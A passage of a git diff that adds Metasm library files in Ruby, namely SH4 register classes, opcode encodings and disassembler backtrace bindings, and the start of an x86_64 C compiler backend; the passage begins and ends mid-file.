a1 => Expression[[a0, :|, mask[di]], :|, [[a1, :&, mask[di]]]] }} + when 'xor', 'xor.b'; lambda { |di, a0, a1| { a1 => Expression[[a0, :|, mask[di]], :^, [[a1, :&, mask[di]]]] }} + when 'neg' ; lambda { |di, a0, a1| { a1 => Expression[mask[di], :-, a0] }} + when 'negc' ; lambda { |di, a0, a1| { a1 => Expression[[[mask[di], :-, a0], :-, :t_bit], :&, mask[di]] }} + when 'not'; lambda { |di, a0, a1| { a1 => Expression[a0, :^, mask[di]] }} + when 'nop'; lambda { |*a| {} } + when /^b/; lambda { |*a| {} } # branches + end + } + + @backtrace_binding + end + + def get_backtrace_binding(di) + a = di.instruction.args.map { |arg| + case arg + when GPR, XFR, XDR, FVR, DR, FR, XMTRX; arg.symbolic + when MACH, MACL, PR, FPUL, PC, FPSCR; arg.symbolic + when SR, SSR, SPC, GBR, VBR, SGR, DBR; arg.symbolic + when Memref; arg.symbolic(di.address, di.opcode.props[:memsz]/8) + else arg + end + } + + if binding = backtrace_binding[di.opcode.basename] + bd = binding[di, *a] || {} + di.instruction.args.grep(Memref).each { |m| + next unless r = m.base and r.kind_of?(GPR) + r = r.symbolic + case m.action + when :post + bd[r] ||= Expression[r, :+, di.opcode.props[:memsz]/8] + when :pre + bd[r] ||= Expression[r, :-, di.opcode.props[:memsz]/8] + end + } + bd + else + puts "unhandled instruction to backtrace: #{di}" if $VERBOSE + {:incomplete_binding => Expression[1]} + end + end + + def get_xrefs_x(dasm, di) + return [] if not di.opcode.props[:setip] + + val = case di.instruction.opname + when 'rts'; :pr + else di.instruction.args.last + end + + val = case val + when Reg; val.symbolic + when Memref; arg.symbolic(di.address, 4) + else val + end + + val = case di.instruction.opname + when 'braf', 'bsrf'; Expression[[di.address, :+, 4], :+, val] + else val + end + + [Expression[val]] + end + + def backtrace_is_function_return(expr, di=nil) + expr.reduce_rec == :pr + end + + def delay_slot(di=nil) + (di and di.opcode.props[:delay_slot]) ? 1 : 0 + end + + def replace_instr_arg_immediate(i, old, new) + i.args.map! { |a| + case a + when Expression; a == old ? new : Expression[a.bind(old => new).reduce] + when Memref + a.base = (a.base == old ? new : Expression[a.base.bind(old => new).reduce]) if a.base.kind_of?(Expression) + a + else a + end + } + end +end +end diff --git a/lib/metasm/metasm/cpu/sh4/main.rb b/lib/metasm/metasm/cpu/sh4/main.rb new file mode 100644 index 0000000000..46ee31b242 --- /dev/null +++ b/lib/metasm/metasm/cpu/sh4/main.rb @@ -0,0 +1,301 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2010 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'metasm/main' + +module Metasm + +class Sh4 < CPU + def initialize(e = :little, transfersz = 0, fpprecision = 0) + super() + @endianness = e + + # transfer size mode + # When SZ = 1 and big endian mode is selected, FMOV can + # be used for double-precision floating-point data load or + # store operations. In little endian mode, two 32-bit data size + # moves must be executed, with SZ = 0, to load or store a + # double-precision floating-point number. + transfersz = 0 if @endianness == :little + @transfersz = transfersz + + # PR = 0 : Floating point instructions are executed as single + # precision operations. + # PR = 1 : Floating point instructions are executed as double- + # precision operations (the result of instructions for + # which double-precision is not supported is undefined). + # Setting [transfersz = fpprecision = 1] is reserved. + # FPU operations are undefined in this mode. + @fpprecision = fpprecision + + @size = 32 + end + + class Reg + include Renderable + + def ==(o) + o.class == self.class and (not respond_to?(:i) or o.i == i) + end + end + + # general purpose reg + class GPR < Reg + attr_accessor :i + + def initialize(i); @i = i end + Sym = (0..15).map { |i| "r#{i}".to_sym } + + def symbolic ; Sym[@i] end + + def render ; ["r#@i"] end + end + + class RBANK < Reg + attr_accessor :i + + def initialize(i); @i = i end + Sym = (0..7).map { |i| "r#{i}_bank".to_sym } + + def symbolic ; Sym[@i] end + + def render ; ["r#{@i}_bank"] end + end + + # floatting-point registers + class FR < Reg + attr_accessor :i + + def initialize(i); @i = i end + Sym = (0..15).map { |i| "fr#{i}".to_sym } + + def symbolic ; Sym[@i] end + + def render ; ["fr#@i"] end + end + + # DR registers: double-precision floating-point registers + # DR0 = {FR0, FR1} + # DR2 = {FR2, FR3} + # DR4 = {FR4, FR5} + # DR6 = {FR6, FR7} + # DR8 = {FR8, FR9} + # DR10 = {FR10, FR11} + # DR12 = {FR12, FR13} + # DR14 = {FR14, FR15} + class DR < Reg + attr_accessor :i + + def initialize(i); @i = i end + Sym = (0..7).map { |i| "dr#{i*2}".to_sym } + + def symbolic ; Sym[@i/2] end + + def render ; ["dr#@i"] end + end + + # Single-precision floating-point vector registers + # FV0 = {FR0, FR1, FR2, FR3} + # FV4 = {FR4, FR5, FR6, FR7}, + # FV8 = {FR8, FR9, FR10, FR11} + # FV12 = {FR12, FR13, FR14, FR15} + class FVR < Reg + attr_accessor :i + + def initialize(i); @i = i end + Sym = (0..3).map { |i| "fv#{i*4}".to_sym } + + def symbolic ; Sym[@i/4] end + + def render ; ["fv#@i"] end + end + + # Single-precision floating-point extended registers + class XFR < Reg + attr_accessor :i + + def initialize(i); @i = i end + Sym = (0..15).map { |i| "xf#{i}".to_sym } + + def symbolic ; Sym[@i] end + + def render ; ["xf#@i"] end + end + + # XD registers: single-precision floating-point vector registers + # XD0 = {XF0, XF1} + # XD2 = {XF2, XF3} + # XD4 = {XF4, XF5} + # XD6 = {XF6, XF7} + # XD8 = {XF8, XF9} + # XD10 = {XF10, XF11} + # XD12 = {XF12, XF13} + # XD14 = {XF14, XF15} + class XDR < Reg + attr_accessor :i + + def initialize(i); @i = i end + Sym = (0..7).map { |i| "xd#{i*2}".to_sym } + + def symbolic ; Sym[@i/2] end + + def render ; ["xd#@i"] end + end + + # Single-precision floating-point extended register matrix + class XMTRX < Reg + def symbolic ; :xmtrx ; end + def render ; ['xmtrx'] ; end + end + + + # Multiply-and-accumulate register high + class MACH < Reg + + def symbolic ; :mach end + def render ; ['mach'] end + end + + # Multiply-and-accumulate register low + class MACL < Reg + + def symbolic ; :macl end + def render ; ['macl'] end + end + + # Procedure register + class PR < Reg + + def symbolic ; :pr end + def render ; ['pr'] end + end + + # Floating-point communication register + class FPUL < Reg + + def symbolic ; :fpul end + def render ; ['fpul'] end + end + + # Program counter + class PC < Reg + + def symbolic ; :pc end + def render ; ['pc'] end + end + + # Floating-point status/control register + class FPSCR < Reg + + def symbolic ; :fpscr end + def render ; ['fpscr'] end + end + + #----------------------- Control registers ----------------------------- + + # Status register + class SR < Reg + + def symbolic ; :sr end + def render ; ['sr'] end + end + + # Saved status register + class SSR < Reg + + def symbolic ; :ssr end + def render ; ['ssr'] end + end + + # Saved program counter + class SPC < Reg + + def symbolic ; :spc end + def render ; ['spc'] end + end + + # Global base register + class GBR < Reg + + def symbolic ; :spc end + def render ; ['gbr'] end + end + + # Vector base register + class VBR < Reg + + def symbolic ; :spc end + def render ; ['vbr'] end + end + + # Saved general register + class SGR < Reg + + def symbolic ; :sgr end + def render ; ['sgr'] end + end + + # Debug base register + class DBR < Reg + + def symbolic ; :dbr end + def render ; ['dbr'] end + end + + class Memref + # action: pre/post (inc/dec)rement + attr_accessor :base, :disp, :action + + def initialize(base, offset, action = nil) + base = Expression[base] if base.kind_of? Integer + @base, @disp, @action = base, offset, action + end + + def symbolic(orig=nil, sz=32) + b = @base + b = b.symbolic if b.kind_of? Reg + + b = Expression[b, :-, sz/8] if @action == :pre + + if disp + o = @disp + o = o.symbolic if o.kind_of? Reg + e = Expression[b, :+, o].reduce + else + e = Expression[b].reduce + end + + Indirection[e, sz, orig] + end + + include Renderable + + def render + if @disp + #['@(', @base, ',', @disp, ')'] + ['[', @base, '+', @disp, ']'] + else + case @action + when :pre then ['[--', @base, ']'] + when :post then ['[', @base, '++]'] + else ['[', @base, ']'] + #when :pre then ['@-', @base] + #when :post then ['@', @base, '+'] + #else ['@', @base] + end + end + end + + end + + def init_opcode_list + init + end + + def dbg_register_list + @dbg_register_list ||= GPR::Sym + end +end +end diff --git a/lib/metasm/metasm/cpu/sh4/opcodes.rb b/lib/metasm/metasm/cpu/sh4/opcodes.rb new file mode 100644 index 0000000000..6b4913b49d --- /dev/null +++ b/lib/metasm/metasm/cpu/sh4/opcodes.rb @@ -0,0 +1,380 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2010 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'metasm/cpu/sh4/main' + +module Metasm +class Sh4 + def addop(name, bin, *args) + o = Opcode.new name, bin + + args.each { |a| + o.args << a if @fields_mask[a] + o.props[a] = true if @valid_props[a] + o.fields[a] = [@fields_mask[a], @fields_shift[a]] if @fields_mask[a] + } + + @opcode_list << o + end + + def init + @opcode_list = [] + + # :@rm_ is used for @Rm+ + # :@_rn is used for @-Rn + # :@r0rm is used for @(R0, Rm) (same for r0rn) + # :@r0gbr is used for @(R0, GBR) + @fields_mask = { + :rm => 0xf, :rn => 0xf, + :@rm => 0xf, :@rn => 0xf, + :@rm_ => 0xf, :@rn_ => 0xf, + :@_rn => 0xf, + + :frm => 0xf, :frn => 0xf, + :xdm => 0x7, :xdn => 0x7, + :drm => 0x7, :drn => 0x7, + :fvm => 0x3, :fvn => 0x3, + + :@r0rm => 0xf, :@r0rn => 0xf, + :rm_bank => 0x7, :rn_bank => 0x7, + + :@disprm => 0xff, :@dispr0rn => 0xff, :@disprmrn => 0xf0f, + :@dispgbr => 0xff, :@disppc => 0xff, + :disp8 => 0xff, :disp12 => 0xfff, :disppc => 0xff, + + :i8 => 0xff, # zero-extendded 8-bit immediate + :s8 => 0xff, # 8-bit displacement s is sign-extended, doubled and added to PC+4 + } + + @fields_shift = { + :rm => 4, :rn => 8, + :@rm => 4, :@rn => 8, + :@rm_ => 4, :@rn_ => 8, + :@_rn => 8, + + :frm => 4, :frn => 8, + :xdm => 5, :xdn => 9, + :drm => 5, :drn => 9, + :fvm => 8, :fvn => 10, + + :@r0rm => 4, :@r0rn => 8, + :rm_bank => 7, :rn_bank => 4, + + :@disprm => 0, :@dispr0rn => 0, :@disprmrn => 0, + :@dispgbr => 0, :@disppc => 0, + :disp8 => 0, :disp12 => 0, :disppc => 0, + + :i8 => 0, + :s8 => 0, + } + + # implicit operands + [:vbr, :gbr, :sr, :ssr, :spc, :sgr, :dbr, :mach, :macl, :pr, :fpul, :fpscr, :dbr, :pc, :r0].each { |a| @fields_mask[a] = @fields_shift[a] = 0 } + + @valid_props[:delay_slot] = true + + addop 'add', 0b0011 << 12 | 0b1100, :rm, :rn + addop 'add', 0b0111 << 12, :s8, :rn + addop 'addc', 0b0011 << 12 | 0b1110, :rm, :rn + addop 'addv', 0b0011 << 12 | 0b1111, :rm, :rn + + addop 'and', 0b0010 << 12 | 0b1001, :rm, :rn + addop 'and', 0b11001001 << 8, :i8, :r0 + addop 'and.b', 0b11001101 << 8, :i8, :@r0gbr + + addop 'bf', 0b10001011 << 8, :disp8, :setip + addop 'bf/s', 0b10001111 << 8, :disp8, :setip, :delay_slot + addop 'bra', 0b1010 << 12, :disp12, :setip, :stopexec, :delay_slot + addop 'braf', 0b0000 << 12 | 0b00100011, :rn, :setip, :stopexec, :delay_slot + addop 'brk', 0b0000000000111011, :stopexec # causes a pre-execution BREAK exception + addop 'bsr', 0b1011 << 12, :disp12, :setip, :saveip, :stopexec, :delay_slot + addop 'bsrf', 0b0000 << 12 | 0b00000011, :rn, :setip, :saveip, :stopexec, :delay_slot + addop 'bt', 0b10001001 << 8, :disp8, :setip + addop 'bt/s', 0b10001101 << 8, :disp8, :setip, :delay_slot + + addop 'clrmac', 0b0000000000101000 + addop 'clrs', 0b0000000001001000 + addop 'clrt', 0b0000000000001000 + + addop 'cmp/eq', 0b0011 << 12 | 0b0000, :rm, :rn + addop 'cmp/eq', 0b10001000 << 8, :s8, :r0 + addop 'cmp/ge', 0b0011 << 12 | 0b0011, :rm, :rn + addop 'cmp/gt', 0b0011 << 12 | 0b0111, :rm, :rn + addop 'cmp/hi', 0b0011 << 12 | 0b0110, :rm, :rn + addop 'cmp/hs', 0b0011 << 12 | 0b0010, :rm, :rn + addop 'cmp/pl', 0b0100 << 12 | 0b00010101, :rn + addop 'cmp/pz', 0b0100 << 12 | 0b00010001, :rn + addop 'cmp/str', 0b0010 << 12 | 0b1100, :rm, :rn + + addop 'div0s', 0b0010 << 12 | 0b0111, :rm, :rn + addop 'div0u', 0b0000000000011001 + addop 'div1', 0b0011 << 12 | 0b0100, :rm, :rn + + addop 'dmuls.l', 0b0011 << 12 | 0b1101, :rm, :rn + addop 'dmulu.l', 0b0011 << 12 | 0b0101, :rm, :rn + + addop 'dt', 0b0100 << 12 | 0b00010000, :rn + + addop 'exts.b', 0b0110 << 12 | 0b1110, :rm, :rn + addop 'exts.w', 0b0110 << 12 | 0b1111, :rm, :rn + addop 'extu.b', 0b0110 << 12 | 0b1100, :rm, :rn + addop 'extu.w', 0b0110 << 12 | 0b1101, :rm, :rn + + # fpu instructions + addop 'fabs', 0b1111 << 12 | 0b001011101, :drn + addop 'fabs', 0b1111 << 12 | 0b01011101, :frn + + addop 'fadd', 0b1111 << 12 | 0b0 << 8 | 0b00000, :drm, :drn + addop 'fadd', 0b1111 << 12 | 0b0000, :frm, :frn + + addop 'fcmp/eq', 0b1111 << 12 | 0b0 << 8 | 0b00100, :drm, :drn + addop 'fcmp/eq', 0b1111 << 12 | 0b0100, :frm, :frn + + addop 'fcmp/gt', 0b1111 << 12 | 0b0 << 8 | 0b00101, :drm, :drn + addop 'fcmp/gt', 0b1111 << 12 | 0b0101, :frm, :frn + + addop 'fcnvds', 0b1111 << 12 | 0b010111101, :drn, :fpul + addop 'fcnvsd', 0b1111 << 12 | 0b010101101, :fpul, :drn + + addop 'fdiv', 0b1111 << 12 | 0b0 << 8 | 0b00011, :drm, :drn + addop 'fdiv', 0b1111 << 12 | 0b0011, :frm, :frn + addop 'fipr', 0b1111 << 12 | 0b11101101, :fvm, :fvn + + addop 'flds', 0b1111 << 12 | 0b00011101, :frn, :fpul + addop 'fldi0', 0b1111 << 12 | 0b10001101, :frn + addop 'fldi1', 0b1111 << 12 | 0b10011101, :frn + + addop 'float', 0b1111 << 12 | 0b000101101, :fpul, :drn + addop 'float', 0b1111 << 12 | 0b00101101, :fpul, :frn + + addop 'fmac', 0b1111 << 12 | 0b1110, :fr0, :frm, :frn + + addop 'fmov', 0b1111 << 12 | 0b0 << 8 | 0b01100, :drm, :drn + addop 'fmov', 0b1111 << 12 | 0b1 << 8 | 0b01100, :drm, :xdn + addop 'fmov', 0b1111 << 12 | 0b01010, :drm, :@rn + addop 'fmov', 0b1111 << 12 | 0b01011, :drm, :@_rn + addop 'fmov', 0b1111 << 12 | 0b00111, :drm, :@r0rn + + addop 'fmov.s', 0b1111 << 12 | 0b1100, :frm, :frn + addop 'fmov.s', 0b1111 << 12 | 0b1010, :frm, :@rn + addop 'fmov.s', 0b1111 << 12 | 0b1011, :frm, :@_rn + addop 'fmov.s', 0b1111 << 12 | 0b0111, :frm, :@r0rn + + addop 'fmov', 0b1111 << 12 | 0b0 << 8 | 0b11100, :xdm, :drn + addop 'fmov', 0b1111 << 12 | 0b1 << 8 | 0b11100, :xdm, :xdn + addop 'fmov', 0b1111 << 12 | 0b11010, :xdm, :@rn + addop 'fmov', 0b1111 << 12 | 0b11011, :xdm, :@_rn + addop 'fmov', 0b1111 << 12 | 0b10111, :xdm, :@r0rn + + addop 'fmov', 0b1111 << 12 | 0b0 << 8 | 0b1000, :@rm, :drn + addop 'fmov', 0b1111 << 12 | 0b0 << 8 | 0b1001, :@rm_, :drn + addop 'fmov', 0b1111 << 12 | 0b0 << 8 | 0b0110, :@r0rm, :drn + + addop 'fmov.s', 0b1111 << 12 | 0b1000, :@rm, :frn + addop 'fmov.s', 0b1111 << 12 | 0b1001, :@rm_, :frn + addop 'fmov.s', 0b1111 << 12 | 0b0110, :@r0rm, :frn + + addop 'fmov', 0b1111 << 12 | 0b1 << 8 | 0b1000, :@rm, :xdn + addop 'fmov', 0b1111 << 12 | 0b1 << 8 | 0b1001, :@rm_, :xdn + addop 'fmov', 0b1111 << 12 | 0b1 << 8 | 0b0110, :@r0rm, :xdn + + addop 'fmul', 0b1111 << 12 | 0b0 << 8 | 0b00010, :drm, :drn + addop 'fmul', 0b1111 << 12 | 0b0010, :frm, :frn + + addop 'fneg', 0b1111 << 12 | 0b001001101, :drn + addop 'fneg', 0b1111 << 12 | 0b01001101, :frn + + addop 'frchg', 0b1111101111111101 + addop 'fschg', 0b1111001111111101 + + addop 'fsqrt', 0b1111 << 12 | 0b001101101, :drn + addop 'fsqrt', 0b1111 << 12 | 0b01101101, :frn + addop 'fsts', 0b1111 << 12 | 0b00001101, :fpul, :frn + + addop 'fsub', 0b1111 << 12 | 0b0 << 8 | 0b00001, :@drm, :drn + addop 'fsub', 0b1111 << 12 | 0b0001, :frm, :frn + + addop 'ftrc', 0b1111 << 12 | 0b000111101, :drn, :fpul + addop 'ftrc', 0b1111 << 12 | 0b00111101, :frn, :fpul + addop 'ftrv', 0b1111 << 12 | 0b0111111101, :xmtrx, :fvn + + addop 'jmp', 0b0100 << 12 | 0b00101011, :rn, :setip, :stopexec, :delay_slot + addop 'jsr', 0b0100 << 12 | 0b00001011, :rn, :setip, :saveip, :stopexec, :delay_slot + + addop 'ldc', 0b0100 << 12 | 0b00011110, :rn, :gbr + addop 'ldc', 0b0100 << 12 | 0b00001110, :rn, :sr # privileged instruction + addop 'ldc', 0b0100 << 12 | 0b00101110, :rn, :vbr # privileged instruction + addop 'ldc', 0b0100 << 12 | 0b00111110, :rn, :ssr # privileged instruction + addop 'ldc', 0b0100 << 12 | 0b01001110, :rn, :spc # privileged instruction + addop 'ldc', 0b0100 << 12 | 0b11111010, :rn, :dbr # privileged instruction + addop 'ldc', 0b0100 << 12 | 0b1 << 7 | 0b1110, :rn, :rn_bank # privileged instruction + + addop 'ldc.l', 0b0100 << 12 | 0b00010111, :@rn_, :gbr + addop 'ldc.l', 0b0100 << 12 | 0b00000111, :@rn_, :sr # privileged instruction + addop 'ldc.l', 0b0100 << 12 | 0b00100111, :@rn_, :vbr # privileged instruction + addop 'ldc.l', 0b0100 << 12 | 0b00110111, :@rn_, :ssr # privileged instruction + addop 'ldc.l', 0b0100 << 12 | 0b01000111, :@rn_, :spc # privileged instruction + addop 'ldc.l', 0b0100 << 12 | 0b11110110, :@rn_, :dbr # privileged instruction + addop 'ldc.l', 0b0100 << 12 | 0b1 << 7 | 0b0111, :@rn_, :rn_bank # privileged instruction + + addop 'lds', 0b0100 << 12 | 0b01101010, :rn, :fpscr + addop 'lds.l', 0b0100 << 12 | 0b01100110, :@rn_, :fpscr + addop 'lds', 0b0100 << 12 | 0b01011010, :rn, :fpul + addop 'lds.l', 0b0100 << 12 | 0b01010110, :@rn_, :fpul + addop 'lds', 0b0100 << 12 | 0b00001010, :rn, :mach + addop 'lds.l', 0b0100 << 12 | 0b00000110, :@rn_, :mach + addop 'lds', 0b0100 << 12 | 0b00011010, :rn, :macl + addop 'lds.l', 0b0100 << 12 | 0b00010110, :@rn_, :macl + addop 'lds', 0b0100 << 12 | 0b00101010, :rn, :pr + addop 'lds.l', 0b0100 << 12 | 0b00100110, :@rn_, :pr + + addop 'ldtlb', 0b0000000000111000 + + addop 'mac.l', 0b0000 << 12 | 0b1111, :@rm_, :@rn_ + addop 'mac.w', 0b0100 << 12 | 0b1111, :@rm_, :@rn_ + + addop 'mov', 0b0110 << 12 | 0b0011, :rm, :rn + addop 'mov', 0b1110 << 12, :s8, :rn + + addop 'mov.b', 0b0010 << 12 | 0b0000, :rm, :@rn + addop 'mov.b', 0b0010 << 12 | 0b0100, :rm, :@_rn + addop 'mov.b', 0b0000 << 12 | 0b0100, :rm, :@r0rn + addop 'mov.b', 0b11000000 << 8, :r0, :@dispgbr + addop 'mov.b', 0b10000000 << 8, :r0, :@dispr0rn + addop 'mov.b', 0b0110 << 12 | 0b0000, :@rm, :rn + addop 'mov.b', 0b0110 << 12 | 0b0100, :@rm_, :rn + addop 'mov.b', 0b0000 << 12 | 0b1100, :@r0rm, :rn + addop 'mov.b', 0b11000100 << 8, :@dispgbr, :r0 + addop 'mov.b', 0b10000100 << 8, :@dispr0rn, :r0 + + addop 'mov.l', 0b0010 << 12 | 0b0010, :rm, :@rn + addop 'mov.l', 0b0010 << 12 | 0b0110, :rm, :@_rn + addop 'mov.l', 0b0000 << 12 | 0b0110, :rm, :@r0rn + addop 'mov.l', 0b11000010 << 8, :r0, :@dispgbr + addop 'mov.l', 0b0001 << 12, :rm, :@disprmrn + addop 'mov.l', 0b0110 << 12 | 0b0010, :@rm, :rn + addop 'mov.l', 0b0110 << 12 | 0b0110, :@rm_, :rn + addop 'mov.l', 0b0000 << 12 | 0b1110, :@r0rm, :rn + addop 'mov.l', 0b11000110 << 8, :@dispgbr, :r0 + addop 'mov.l', 0b1101 << 12, :@disppc, :rn + addop 'mov.l', 0b0101 << 12, :@disprm, :rn + + addop 'mov.w', 0b0010 << 12 | 0b0001, :rm, :@rn + addop 'mov.w', 0b0010 << 12 | 0b0101, :rm, :@_rn + addop 'mov.w', 0b0000 << 12 | 0b0101, :rm, :@r0rn + addop 'mov.w', 0b11000001 << 8, :r0, :@dispgbr + addop 'mov.w', 0b10000001 << 8, :r0, :@dispr0rn + addop 'mov.w', 0b0110 << 12 | 0b0001, :@rm, :rn + addop 'mov.w', 0b0110 << 12 | 0b0101, :@rm_, :rn + addop 'mov.w', 0b0000 << 12 | 0b1101, :@r0rm, :rn + addop 'mov.w', 0b11000101 << 8, :@dispgbr, :r0 + addop 'mov.w', 0b1001 << 12, :@disppc, :rn + addop 'mov.w', 0b10000101 << 8, :@disprm, :r0 + + addop 'mova', 0b11000111 << 8, :disppc, :r0 # calculates an effective address using PC-relative with displacement addressing + addop 'movca.l', 0b0000 << 12 | 11000011, :r0, :@rn # stores the long-word in R0 to memory at the effective address specified in Rn. + + addop 'movt', 0b0000 << 12 | 0b00101001, :rn # copies the T-bit to Rn + + addop 'mul.l', 0b0000 << 12 | 0b0111, :rm, :rn + addop 'muls.w', 0b0010 << 12 | 0b1111, :rm, :rn + addop 'mulu.w', 0b0010 << 12 | 0b1110, :rm, :rn + + addop 'neg', 0b0110 << 12 | 0b1011, :rm, :rn + addop 'negc', 0b0110 << 12 | 0b1010, :rm, :rn + + addop 'nop', 0b0000000000001001 + + addop 'not', 0b0110 << 12 | 0b0111, :rm, :rn + + addop 'ocbi', 0b0000 << 12 | 0b10010011, :@rn # invalidates an operand cache block + addop 'ocbp', 0b0000 << 12 | 0b10100011, :@rn # purges an operand cache block + addop 'ocbwb', 0b0000 << 12 | 0b10110011, :@rn # write-backs an operand cache block + + addop 'or', 0b0010 << 12 | 0b1011, :rm, :rn + addop 'or', 0b11001011 << 8, :i8, :r0 + addop 'or.b', 0b11001111 << 8, :i8, :@r0gbr + + addop 'pref', 0b0000 | 0b10000011, :@rn # indicates a software-directed data prefetch + + addop 'rotcl', 0b0100 | 0b00100100, :rn + addop 'rotcr', 0b0100 | 0b00100101, :rn + addop 'rotl', 0b0100 | 0b00000100, :rn + addop 'rotr', 0b0100 | 0b00000101, :rn + + addop 'rte', 0b0000000000101011, :setip, :stopexec, :delay_slot # returns from an exception or interrupt handling routine, privileged instruction + addop 'rts', 0b0000000000001011, :setip, :stopexec, :delay_slot # returns from a subroutine + + addop 'sets', 0b0000000001011000 + addop 'sett', 0b0000000000011000 + + addop 'shad', 0b0100 << 12 | 0b1100, :rm, :rn + addop 'shal', 0b0100 << 12 | 0b00100000, :rn + addop 'shar', 0b0100 << 12 | 0b00100001, :rn + addop 'shld', 0b0100 << 12 | 0b1101, :rm, :rn + addop 'shll', 0b0100 << 12 | 0b00000000, :rn + addop 'shll2', 0b0100 << 12 | 0b00001000, :rn + addop 'shll8', 0b0100 << 12 | 0b00011000, :rn + addop 'shll16', 0b0100 << 12 | 0b00101000, :rn + addop 'shlr', 0b0100 << 12 | 0b00000001, :rn + addop 'shlr2', 0b0100 << 12 | 0b00001001, :rn + addop 'shlr8', 0b0100 << 12 | 0b00011001, :rn + addop 'shlr16', 0b0100 << 12 | 0b00101001, :rn + + addop 'sleep', 0b0000000000011011 # privileged instruction + + addop 'stc', 0b0000 << 12 | 0b00000010, :sr, :rn + addop 'stc', 0b0000 << 12 | 0b00100010, :vbr, :rn + addop 'stc', 0b0000 << 12 | 0b00110010, :ssr, :rn + addop 'stc', 0b0000 << 12 | 0b01000010, :spc, :rn + addop 'stc', 0b0000 << 12 | 0b00111010, :sgr, :rn + addop 'stc', 0b0000 << 12 | 0b11111010, :dbr, :rn + addop 'stc', 0b0000 << 12 | 0b1 << 7 | 0b0010, :rm_bank, :@_rn + addop 'stc', 0b0000 << 12 | 0b00010010, :gbr, :rn + + addop 'stc.l', 0b0100 << 12 | 0b00000011, :sr, :@_rn + addop 'stc.l', 0b0100 << 12 | 0b00100011, :vbr, :@_rn + addop 'stc.l', 0b0100 << 12 | 0b00110011, :ssr, :@_rn + addop 'stc.l', 0b0100 << 12 | 0b01000011, :spc, :@_rn + addop 'stc.l', 0b0100 << 12 | 0b00110010, :sgr, :@_rn + addop 'stc.l', 0b0100 << 12 | 0b11110010, :dbr, :@_rn + addop 'stc.l', 0b0100 << 12 | 0b1 << 7 | 0b0011, :rm_bank, :@_rn + addop 'stc.l', 0b0100 << 12 | 0b00010011, :gbr, :@_rn + + addop 'sts', 0b0000 << 12 | 0b01101010, :fpscr, :rn + addop 'sts.l', 0b0100 << 12 | 0b01100010, :fpscr, :@_rn + addop 'sts', 0b0000 << 12 | 0b01011010, :fpul, :rn + addop 'sts.l', 0b0100 << 12 | 0b01010010, :fpul, :@_rn + addop 'sts', 0b0000 << 12 | 0b00001010, :mach, :rn + addop 'sts.l', 0b0100 << 12 | 0b00000010, :mach, :@_rn + addop 'sts', 0b0000 << 12 | 0b00011010, :macl, :rn + addop 'sts.l', 0b0100 << 12 | 0b00010010, :macl, :@_rn + addop 'sts', 0b0000 << 12 | 0b00101010, :pr, :rn + addop 'sts.l', 0b0100 << 12 | 0b00100010, :pr, :@_rn + + addop 'sub', 0b0011 << 12 | 0b1000, :rm, :rn + addop 'subc', 0b0011 << 12 | 0b1010, :rm, :rn + addop 'subv', 0b0011 << 12 | 0b1011, :rm, :rn + + addop 'swap.b', 0b0110 << 12 | 0b1000, :rm, :rn + addop 'swap.w', 0b0110 << 12 | 0b1001, :rm, :rn + + addop 'tas.b', 0b0100 << 12 | 0b00011011, :@rn + addop 'trapa', 0b11000011 << 8, :i8, :setip, :stopexec # This instruction causes a pre-execution trap. + + addop 'tst', 0b0010 << 12 | 0b1000, :rm, :rn + addop 'tst', 0b11001000 << 8, :i8, :r0 + addop 'tst.b', 0b11001100 << 8, :i8, :@r0gbr + + addop 'xor', 0b0010 << 12 | 0b1010, :rm, :rn + addop 'xor', 0b11001010 << 8, :i8, :r0 + addop 'xob.b', 0b11001110 << 8, :i8, :@r0gbr + + addop 'xtrct', 0b0010 << 12 | 0b1101, :rm, :rn + end + +end + +end diff --git a/lib/metasm/metasm/cpu/x86_64.rb b/lib/metasm/metasm/cpu/x86_64.rb new file mode 100644 index 0000000000..19fc3fce1e --- /dev/null +++ b/lib/metasm/metasm/cpu/x86_64.rb @@ -0,0 +1,15 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +class Metasm::X86_64 < Metasm::Ia32 +end + +require 'metasm/main' +require 'metasm/cpu/x86_64/parse' +require 'metasm/cpu/x86_64/encode' +require 'metasm/cpu/x86_64/decode' +require 'metasm/cpu/x86_64/render' +require 'metasm/cpu/x86_64/debug' +require 'metasm/cpu/x86_64/compile_c' diff --git a/lib/metasm/metasm/cpu/x86_64/compile_c.rb b/lib/metasm/metasm/cpu/x86_64/compile_c.rb new file mode 100644 index 0000000000..2cb133becd --- /dev/null +++ b/lib/metasm/metasm/cpu/x86_64/compile_c.rb @@ -0,0 +1,1035 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/x86_64/parse' +require 'metasm/compile_c' + +module Metasm +class X86_64 +class CCompiler < C::Compiler + # holds compiler state information for a function + # registers are saved as register number (see Reg) + class State + # variable => offset from ebp (::Integer or CExpression) + attr_accessor :offset + # the current function + attr_accessor :func + # register => CExpression + attr_accessor :cache + # array of register values used in the function (to save/restore at prolog/epilog) + attr_accessor :dirty + # the array of register values currently not available + attr_accessor :used + # the array of args in use (reg/modrm) the reg dependencies are in +used+ + attr_accessor :inuse + # variable => register for current scope (variable never on the stack) + # bound registers are also in +used+ + attr_accessor :bound + # list of reg values that are used as func args in current ABI + attr_accessor :regargs + # stack space reserved for subfunction in ABI + attr_accessor :args_space + # list of reg values that are not kept across function call + attr_accessor :abi_flushregs_call + # list of regs we can trash without restoring them + attr_accessor :abi_trashregs + + # +used+ includes ebp if true + # nil if ebp is not reserved for stack variable addressing + # Reg if used + attr_accessor :saved_rbp + + def initialize(func) + @func = func + @offset = {} + @cache = {} + @dirty = [] + @used = [4] # rsp is always in use + @inuse = [] + @bound = {} + @regargs = [] + @args_space = 0 + @abi_flushregs_call = [0, 1, 2, 6, 7, 8, 9, 10, 11] + @abi_trashregs = @abi_flushregs_call.dup + end + end + + # some address + class Address + attr_accessor :modrm, :target + def initialize(modrm, target=nil) + @modrm, @target = modrm, target + end + def sz; @modrm.adsz end + def to_s; "#" end + end + + + def initialize(*a) + super(*a) + @cpusz = 64 + @regnummax = 15 + end + + # shortcut to add an instruction to the source + def instr(name, 